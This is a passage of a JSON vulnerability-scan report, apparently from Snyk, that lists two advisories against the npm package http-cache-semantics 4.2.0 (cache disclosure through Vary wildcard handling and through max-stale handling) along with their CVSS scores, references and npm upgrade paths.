Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "@npmcli/arborist@10.0.4", "@npmcli/metavuln-calculator@10.0.0", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "@npmcli/arborist@10.0.4", "@npmcli/metavuln-calculator@10.0.0", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmdiff@9.0.4", "@npmcli/arborist@10.0.4", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmdiff@9.0.4", "@npmcli/arborist@10.0.4", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmexec@11.0.4", "@npmcli/arborist@10.0.4", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmexec@11.0.4", "@npmcli/arborist@10.0.4", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmfund@8.0.4", "@npmcli/arborist@10.0.4", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, 